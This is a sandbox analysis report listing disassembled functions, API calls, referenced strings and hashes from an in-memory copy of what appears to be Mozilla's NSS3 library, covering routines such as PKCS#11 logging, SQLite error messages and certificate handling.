Instruction Fuzzy Hash: 3702F371A006458FDB14CF59C4806AEB7F2FF4A318F18426AD856ABF51D732E886CB91

Function 6CAD4E60 Relevance: 19.7, APIs: 13, Instructions: 186COMMON

Download Yara Rule

APIs

PR_SetErrorText.NSS3(00000000,00000000,?,6CA978F8), ref: 6CAD4E6D

Part of subcall function 6CA709E0: TlsGetValue.KERNEL32(00000000,?,?,?,6CA706A2,00000000,?), ref: 6CA709F8
Part of subcall function 6CA709E0: malloc.MOZGLUE(0000001F), ref: 6CA70A18
Part of subcall function 6CA709E0: memcpy.VCRUNTIME140(?,?,00000001), ref: 6CA70A33

PR_SetError.NSS3(FFFFE09A,00000000,?,?,?,6CA978F8), ref: 6CAD4ED9

Part of subcall function 6CAC5920: NSSUTIL_ArgHasFlag.NSS3(flags,printPolicyFeedback,?,?,?,?,?,?,00000000,?,00000000,?,6CAC7703,?,00000000,00000000), ref: 6CAC5942
Part of subcall function 6CAC5920: NSSUTIL_ArgHasFlag.NSS3(flags,policyCheckIdentifier,?,?,?,?,?,?,?,?,?,00000000,?,00000000,?,6CAC7703), ref: 6CAC5954
Part of subcall function 6CAC5920: NSSUTIL_ArgHasFlag.NSS3(flags,policyCheckValue,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6CAC596A
Part of subcall function 6CAC5920: SECOID_Init.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6CAC5984
Part of subcall function 6CAC5920: NSSUTIL_ArgGetParamValue.NSS3(disallow,00000000), ref: 6CAC5999
Part of subcall function 6CAC5920: free.MOZGLUE(00000000), ref: 6CAC59BA
Part of subcall function 6CAC5920: NSSUTIL_ArgGetParamValue.NSS3(allow,00000000), ref: 6CAC59D3
Part of subcall function 6CAC5920: free.MOZGLUE(00000000), ref: 6CAC59F5
Part of subcall function 6CAC5920: NSSUTIL_ArgGetParamValue.NSS3(disable,00000000), ref: 6CAC5A0A
Part of subcall function 6CAC5920: free.MOZGLUE(00000000), ref: 6CAC5A2E
Part of subcall function 6CAC5920: NSSUTIL_ArgGetParamValue.NSS3(enable,00000000), ref: 6CAC5A43

SECMOD_FindModule.NSS3(?,?,?,?,?,?,?,?,?,6CA978F8), ref: 6CAD4EB3

Part of subcall function 6CAD4820: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6CAD4EB8,?,?,?,?,?,?,?,?,?,?,6CA978F8), ref: 6CAD484C
Part of subcall function 6CAD4820: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6CAD4EB8,?,?,?,?,?,?,?,?,?,?,6CA978F8), ref: 6CAD486D
Part of subcall function 6CAD4820: PR_SetError.NSS3(FFFFE09A,00000000,00000000,-00000001,00000000,?,6CAD4EB8,?), ref: 6CAD4884

SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?,?,?,?,?,6CA978F8), ref: 6CAD4EC0

Part of subcall function 6CAD4470: TlsGetValue.KERNEL32(00000000,?,6CA97296,00000000), ref: 6CAD4487
Part of subcall function 6CAD4470: EnterCriticalSection.KERNEL32(?,?,?,6CA97296,00000000), ref: 6CAD44A0
Part of subcall function 6CAD4470: PR_Unlock.NSS3(?,?,?,?,6CA97296,00000000), ref: 6CAD44BB

TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,6CA978F8), ref: 6CAD4F16
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,6CA978F8), ref: 6CAD4F2E
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,6CA978F8), ref: 6CAD4F40
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,6CA978F8), ref: 6CAD4F6C
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,6CA978F8), ref: 6CAD4F80
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6CA978F8), ref: 6CAD4F8F
PK11_UpdateSlotAttribute.NSS3(?,6CBADCB0,00000000), ref: 6CAD4FFE
PK11_UserDisableSlot.NSS3(0000001E), ref: 6CAD501F
SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?,?,?,?,6CA978F8), ref: 6CAD506B

Memory Dump Source

Source File: 00000000.00000002.2706488419.000000006CA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2706463160.000000006CA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706736327.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706753326.000000006CBDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706807292.000000006CBE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706824364.000000006CBE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: Value$Param$CriticalEnterErrorFlagModuleSectionUnlockfree$DestroyK11_Slotstrcmp$AttributeDisableFindInitTextUpdateUsermallocmemcpy
String ID:
API String ID: 560490210-0
Opcode ID: db5719e1968e0422866490d03f6356d2604936dc56a960d31789787a70c721cd
Instruction ID: 1b7060883520abae5edd9c3a37e1c76190b1d94ed179410549edc7c21e674f8b
Opcode Fuzzy Hash: db5719e1968e0422866490d03f6356d2604936dc56a960d31789787a70c721cd
Instruction Fuzzy Hash: 9D5105F59006069FEB119F24ED016AA37B4FF0935DF1A0634E81A83A11FB31F598CAD2

Function 6CA7ACC0 Relevance: 19.6, APIs: 13, Instructions: 150stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CA7ACE2
malloc.MOZGLUE(00000001), ref: 6CA7ACEC
strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6CA7AD02
TlsGetValue.KERNEL32 ref: 6CA7AD3C
calloc.MOZGLUE(00000001,?), ref: 6CA7AD8C
PR_Unlock.NSS3 ref: 6CA7ADC0
free.MOZGLUE(00000000), ref: 6CA7AE48
PR_SetError.NSS3(FFFFE890,00000000), ref: 6CA7AE58
free.MOZGLUE(00000000), ref: 6CA7AE69
free.MOZGLUE(?), ref: 6CA7AE78
PR_Unlock.NSS3 ref: 6CA7AE8C
free.MOZGLUE(?), ref: 6CA7AEAB
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CA7AEC7

Memory Dump Source

Source File: 00000000.00000002.2706488419.000000006CA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2706463160.000000006CA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706736327.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706753326.000000006CBDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706807292.000000006CBE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706824364.000000006CBE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: free$Unlock$ErrorValuecallocmallocmemcpystrcpystrlen
String ID:
API String ID: 786543732-0
Opcode ID: f9b29b9c2bc709d66431c26a39ed528896e9614170db806b2add9fc73a5c2afa
Instruction ID: d3962751dc3202d4b01e30edda81441d0da4beb4686b8a5addf6fb67abfa8b8d
Opcode Fuzzy Hash: f9b29b9c2bc709d66431c26a39ed528896e9614170db806b2add9fc73a5c2afa
Instruction Fuzzy Hash: B051B1B9A00125AFDF10DF68D9417AE7775BF0A789F180125D808A3B02D731ED94CBE2

Function 6CABADC0 Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 110COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_MessageSignInit), ref: 6CABADE6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CABAE17
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CABAE29

Part of subcall function 6CB9D930: PL_strncpyz.NSS3(?,?,?), ref: 6CB9D963

PR_LogPrint.NSS3(?,00000000), ref: 6CABAE3F
PL_strncpyz.NSS3(?, hKey = 0x%x,00000050), ref: 6CABAE78
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CABAE8A
PR_LogPrint.NSS3(?,00000000), ref: 6CABAEA0

Strings

(CK_INVALID_HANDLE), xrefs: 6CABAE1F, 6CABAE80
hKey = 0x%x, xrefs: 6CABAE62, 6CABAE72
hSession = 0x%x, xrefs: 6CABAE01, 6CABAE11
C_MessageSignInit, xrefs: 6CABADE1

Memory Dump Source

Source File: 00000000.00000002.2706488419.000000006CA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2706463160.000000006CA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706736327.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706753326.000000006CBDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706807292.000000006CBE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706824364.000000006CBE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: L_strncpyzPrint$L_strcatn
String ID: hKey = 0x%x$ hSession = 0x%x$ (CK_INVALID_HANDLE)$C_MessageSignInit
API String ID: 332880674-605059067
Opcode ID: 29573c55f91063546328dbe60f4ddc62b705a811cf2731e9c62973188c620229
Instruction ID: 1bf42a655bec39badb7e686d4231892a86035f96e6fa8547d5c5308ca77b57ad
Opcode Fuzzy Hash: 29573c55f91063546328dbe60f4ddc62b705a811cf2731e9c62973188c620229
Instruction Fuzzy Hash: 1D31FA35600194AFCB01DF64ED48BAE777AAB4A759F484438F5097B711DB309D48CBA2

Function 6CABA650 Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 110COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_MessageDecryptInit), ref: 6CABA676
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CABA6A7
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CABA6B9

Part of subcall function 6CB9D930: PL_strncpyz.NSS3(?,?,?), ref: 6CB9D963

PR_LogPrint.NSS3(?,00000000), ref: 6CABA6CF
PL_strncpyz.NSS3(?, hKey = 0x%x,00000050), ref: 6CABA708
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CABA71A
PR_LogPrint.NSS3(?,00000000), ref: 6CABA730

Strings

(CK_INVALID_HANDLE), xrefs: 6CABA6AF, 6CABA710
hKey = 0x%x, xrefs: 6CABA6F2, 6CABA702
hSession = 0x%x, xrefs: 6CABA691, 6CABA6A1
C_MessageDecryptInit, xrefs: 6CABA671

Memory Dump Source

Source File: 00000000.00000002.2706488419.000000006CA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2706463160.000000006CA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706736327.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706753326.000000006CBDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706807292.000000006CBE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706824364.000000006CBE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: L_strncpyzPrint$L_strcatn
String ID: hKey = 0x%x$ hSession = 0x%x$ (CK_INVALID_HANDLE)$C_MessageDecryptInit
API String ID: 332880674-2055260395
Opcode ID: e1dcdd71f1e997efb2d49fb0589c5ca1b1298cf1c6e5797e9ca820d05f1f6278
Instruction ID: c2f62425eac4c6335c6b0ead4f523405a8d42a103eb14f334f995b5ec3d1d071
Opcode Fuzzy Hash: e1dcdd71f1e997efb2d49fb0589c5ca1b1298cf1c6e5797e9ca820d05f1f6278
Instruction Fuzzy Hash: 82311A75601185ABCB00DF54DD88BAE77BAFB4A758F084428E508B7611DB309D8DCB93

Function 6CB54C40 Relevance: 19.3, APIs: 3, Strings: 8, Instructions: 97COMMON

Download Yara Rule

APIs

sqlite3_value_text16.NSS3(?), ref: 6CB54CAF
sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6CB54CFD
sqlite3_value_text16.NSS3(?), ref: 6CB54D44

Strings

invalid, xrefs: 6CB54CF1
unknown error, xrefs: 6CB54D56
another row available, xrefs: 6CB54D20
out of memory, xrefs: 6CB54C78, 6CB54C9E
no more rows available, xrefs: 6CB54D2E
API call with %s database connection pointer, xrefs: 6CB54CF6
abort due to ROLLBACK, xrefs: 6CB54D27, 6CB54D33
bad parameter or other API misuse, xrefs: 6CB54D05

Memory Dump Source

Source File: 00000000.00000002.2706488419.000000006CA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2706463160.000000006CA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706736327.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706753326.000000006CBDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706807292.000000006CBE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706824364.000000006CBE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: sqlite3_value_text16$sqlite3_log
String ID: API call with %s database connection pointer$abort due to ROLLBACK$another row available$bad parameter or other API misuse$invalid$no more rows available$out of memory$unknown error
API String ID: 2274617401-4033235608
Opcode ID: cc89aa0a7c18d54a78a652e0ff0eb81999bbf88c711f9f3062fbcf1af6bedfc9
Instruction ID: 7abea6857664fe5f563613347b73a9ce3af93d5bd145a886a81b2dd685597fd8
Opcode Fuzzy Hash: cc89aa0a7c18d54a78a652e0ff0eb81999bbf88c711f9f3062fbcf1af6bedfc9
Instruction Fuzzy Hash: EC313772A089E1A7D7044E28A8117F97361F7C3318FD50125D8245BE99DB21AC758FE3

Function 6CAB2DD0 Relevance: 19.3, APIs: 6, Strings: 5, Instructions: 94COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_InitPIN), ref: 6CAB2DF6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CAB2E24
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CAB2E33

Part of subcall function 6CB9D930: PL_strncpyz.NSS3(?,?,?), ref: 6CB9D963

PR_LogPrint.NSS3(?,00000000), ref: 6CAB2E49
PR_LogPrint.NSS3( pPin = 0x%p,?), ref: 6CAB2E68
PR_LogPrint.NSS3( ulPinLen = %d,?), ref: 6CAB2E81

Strings

(CK_INVALID_HANDLE), xrefs: 6CAB2E2C
ulPinLen = %d, xrefs: 6CAB2E7C
pPin = 0x%p, xrefs: 6CAB2E63
hSession = 0x%x, xrefs: 6CAB2E0E, 6CAB2E1E
C_InitPIN, xrefs: 6CAB2DF1

Memory Dump Source

Source File: 00000000.00000002.2706488419.000000006CA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2706463160.000000006CA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706736327.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706753326.000000006CBDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706807292.000000006CBE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706824364.000000006CBE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pPin = 0x%p$ ulPinLen = %d$ (CK_INVALID_HANDLE)$C_InitPIN
API String ID: 1003633598-1777813432
Opcode ID: 3754925f937708cab51d825e50a24640601d2eafce16d0f28ff17473dfa57549
Instruction ID: 4df284300f2a0fadf104b73550f0bd681373aea3c741e18cadb7a2bc22146c35
Opcode Fuzzy Hash: 3754925f937708cab51d825e50a24640601d2eafce16d0f28ff17473dfa57549
Instruction Fuzzy Hash: 81312374601198ABDB009F55ED4CB4E3B79EB4A758F084025F808A7B11DB309D89CBA3

Function 6CAB6EF0 Relevance: 19.3, APIs: 6, Strings: 5, Instructions: 94COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_DigestUpdate), ref: 6CAB6F16
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CAB6F44
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CAB6F53

Part of subcall function 6CB9D930: PL_strncpyz.NSS3(?,?,?), ref: 6CB9D963

PR_LogPrint.NSS3(?,00000000), ref: 6CAB6F69
PR_LogPrint.NSS3( pPart = 0x%p,?), ref: 6CAB6F88
PR_LogPrint.NSS3( ulPartLen = %d,?), ref: 6CAB6FA1

Strings

(CK_INVALID_HANDLE), xrefs: 6CAB6F4C
ulPartLen = %d, xrefs: 6CAB6F9C
hSession = 0x%x, xrefs: 6CAB6F2E, 6CAB6F3E
pPart = 0x%p, xrefs: 6CAB6F83
C_DigestUpdate, xrefs: 6CAB6F11

Memory Dump Source

Source File: 00000000.00000002.2706488419.000000006CA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2706463160.000000006CA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706736327.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706753326.000000006CBDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706807292.000000006CBE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706824364.000000006CBE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pPart = 0x%p$ ulPartLen = %d$ (CK_INVALID_HANDLE)$C_DigestUpdate
API String ID: 1003633598-226530419
Opcode ID: d1cb5517270686c84f851ed913ef6967a6cf25baacf992373a2d6ba95fdc4d0c
Instruction ID: cf592e2b2a3fa368d946f6b01e124e4e0c25c7b0436829a62e608a5555bd7a16
Opcode Fuzzy Hash: d1cb5517270686c84f851ed913ef6967a6cf25baacf992373a2d6ba95fdc4d0c
Instruction Fuzzy Hash: 4131F5346011949FDB04DB64ED48B9A77B9EB4A759F084024E808E7B12DF30998CCBA2

Function 6CA22450 Relevance: 19.2, APIs: 15, Instructions: 440COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6CA224BA
LeaveCriticalSection.KERNEL32(?), ref: 6CA2250D
EnterCriticalSection.KERNEL32(?), ref: 6CA22554
LeaveCriticalSection.KERNEL32(?), ref: 6CA225A7
EnterCriticalSection.KERNEL32(?), ref: 6CA22609
LeaveCriticalSection.KERNEL32(?), ref: 6CA2265F
EnterCriticalSection.KERNEL32(?), ref: 6CA226A2
LeaveCriticalSection.KERNEL32(?), ref: 6CA226F5
EnterCriticalSection.KERNEL32(?), ref: 6CA22764
LeaveCriticalSection.KERNEL32(?), ref: 6CA22898
EnterCriticalSection.KERNEL32(?), ref: 6CA228D0
EnterCriticalSection.KERNEL32(?), ref: 6CA22948
LeaveCriticalSection.KERNEL32(?), ref: 6CA2299B
EnterCriticalSection.KERNEL32(?), ref: 6CA229E2
LeaveCriticalSection.KERNEL32(?), ref: 6CA22A31

Memory Dump Source

Source File: 00000000.00000002.2706488419.000000006CA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2706463160.000000006CA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706736327.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706753326.000000006CBDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706807292.000000006CBE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706824364.000000006CBE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: CriticalSection$Enter$Leave
String ID:
API String ID: 2801635615-0
Opcode ID: 4598e7c6f6548f0542953b19492be31b75a7cc185956d5060c2d9c319b0a670a
Instruction ID: 6208c6cfa972c5b39bc6efc40a295263947057bb9b960264d54527c00aea3fa0
Opcode Fuzzy Hash: 4598e7c6f6548f0542953b19492be31b75a7cc185956d5060c2d9c319b0a670a
Instruction Fuzzy Hash: DFF19231A511608BDB049FA0D9AEA7E3739FF4B725B1D0229D90657A01CB3DE9C1CBD2

Function 6CA8A7B0 Relevance: 18.3, APIs: 12, Instructions: 340timeCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CA8A7F9
EnterCriticalSection.KERNEL32(?), ref: 6CA8A810
PR_Unlock.NSS3 ref: 6CA8A828
CERT_IsUserCert.NSS3(?), ref: 6CA8A83E
CERT_GetFirstEmailAddress.NSS3(?), ref: 6CA8A865
DER_UTCTimeToTime_Util.NSS3(?,?), ref: 6CA8A9F2

Part of subcall function 6CAD71B0: PR_SetError.NSS3(FFFFE008,00000000), ref: 6CAD71E9

DER_UTCTimeToTime_Util.NSS3(?,?), ref: 6CA8AA21
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CA8AAF9
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CA8AB14
CERT_GetNextEmailAddress.NSS3(?,?), ref: 6CA8AB4D
PK11_GetInternalKeySlot.NSS3 ref: 6CA8AB7E
PK11_ImportCert.NSS3(00000000,?,00000000,00000000,00000000), ref: 6CA8AB90

Part of subcall function 6CAC0FE0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CAC1057
Part of subcall function 6CAC0FE0: free.MOZGLUE(?), ref: 6CAC11A6
Part of subcall function 6CAC0FE0: PORT_ZAlloc_Util.NSS3(0000000C), ref: 6CAC11D3
Part of subcall function 6CAC0FE0: PORT_ZAlloc_Util.NSS3(0000000C), ref: 6CAC11F3

Memory Dump Source

Source File: 00000000.00000002.2706488419.000000006CA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2706463160.000000006CA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706736327.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706753326.000000006CBDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706807292.000000006CBE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706824364.000000006CBE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: Util$AddressAlloc_CertEmailItem_K11_TimeTime_Zfree$CriticalEnterErrorFirstImportInternalNextSectionSlotUnlockUserValuefreestrlen
String ID:
API String ID: 483008407-0
Opcode ID: fc449e90bb8b87abca58ae84e462dd941485e1a7f9b6c6a0c73eb089a6399b84
Instruction ID: 1834a11e93345a92df96b5d3f85a4aa95bd49c06f98413f2a992567e7e97b63c
Opcode Fuzzy Hash: fc449e90bb8b87abca58ae84e462dd941485e1a7f9b6c6a0c73eb089a6399b84
Instruction Fuzzy Hash: 1FC192B1A063019FD700DF24C944A6BB7F6AF88708F19492DE899C7791E731DD89CB92

Function 6CB52D40 Relevance: 18.2, APIs: 12, Instructions: 187COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3 ref: 6CB52D9F

Part of subcall function 6CA0CA30: EnterCriticalSection.KERNEL32(?,?,?,6CA6F9C9,?,6CA6F4DA,6CA6F9C9,?,?,6CA3369A), ref: 6CA0CA7A
Part of subcall function 6CA0CA30: LeaveCriticalSection.KERNEL32(?), ref: 6CA0CB26

sqlite3_exec.NSS3(?,?,6CB52F70,?,?), ref: 6CB52DF9
sqlite3_free.NSS3(00000000), ref: 6CB52E2C
sqlite3_free.NSS3(?), ref: 6CB52E3A
sqlite3_free.NSS3(?), ref: 6CB52E52
sqlite3_mprintf.NSS3(6CBBAAF9,?), ref: 6CB52E62
sqlite3_free.NSS3(?), ref: 6CB52E70
sqlite3_free.NSS3(?), ref: 6CB52E89
sqlite3_free.NSS3(?), ref: 6CB52EBB
sqlite3_free.NSS3(?), ref: 6CB52ECB
sqlite3_free.NSS3(00000000), ref: 6CB52F3E
sqlite3_free.NSS3(?), ref: 6CB52F4C

Memory Dump Source

Source File: 00000000.00000002.2706488419.000000006CA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2706463160.000000006CA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706736327.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706753326.000000006CBDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706807292.000000006CBE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706824364.000000006CBE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: sqlite3_free$CriticalSection$EnterLeavesqlite3_execsqlite3_initializesqlite3_mprintf
String ID:
API String ID: 1957633107-0
Opcode ID: f57d199cb07f2280edfe6887e8f46d3532f59197dc0e9d8a2fed014d7c3958fb
Instruction ID: b9472440247cd139111e7f5a283398c5460f607e425fc45f7e96f4d7f523b31f
Opcode Fuzzy Hash: f57d199cb07f2280edfe6887e8f46d3532f59197dc0e9d8a2fed014d7c3958fb
Instruction Fuzzy Hash: 5261B0B5E022558BEB00CF68E994BDEB7B1EF4834CF544028DD05A7740E771E868CBA2

Function 6CAA2C40 Relevance: 18.2, APIs: 12, Instructions: 163COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(6CAA3F23,?,6CA9E477,?,?,?,00000001,00000000,?,?,6CAA3F23,?), ref: 6CAA2C62
EnterCriticalSection.KERNEL32(0000001C,?,6CA9E477,?,?,?,00000001,00000000,?,?,6CAA3F23,?), ref: 6CAA2C76
PL_HashTableLookup.NSS3(00000000,?,?,6CA9E477,?,?,?,00000001,00000000,?,?,6CAA3F23,?), ref: 6CAA2C86
PR_Unlock.NSS3(00000000,?,?,?,?,6CA9E477,?,?,?,00000001,00000000,?,?,6CAA3F23,?), ref: 6CAA2C93

Part of subcall function 6CB2DD70: TlsGetValue.KERNEL32 ref: 6CB2DD8C
Part of subcall function 6CB2DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CB2DDB4

TlsGetValue.KERNEL32(?,?,?,?,?,6CA9E477,?,?,?,00000001,00000000,?,?,6CAA3F23,?), ref: 6CAA2CC6
EnterCriticalSection.KERNEL32(0000001C,?,?,?,?,?,6CA9E477,?,?,?,00000001,00000000,?,?,6CAA3F23,?), ref: 6CAA2CDA
PL_HashTableLookup.NSS3(00000000,?,?,?,?,?,?,6CA9E477,?,?,?,00000001,00000000,?,?,6CAA3F23), ref: 6CAA2CEA
PR_Unlock.NSS3(00000000,?,?,?,?,?,?,?,6CA9E477,?,?,?,00000001,00000000,?), ref: 6CAA2CF7
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,6CA9E477,?,?,?,00000001,00000000,?), ref: 6CAA2D4D
EnterCriticalSection.KERNEL32(?), ref: 6CAA2D61
PL_HashTableLookup.NSS3(?,?), ref: 6CAA2D71
PR_Unlock.NSS3(?), ref: 6CAA2D7E

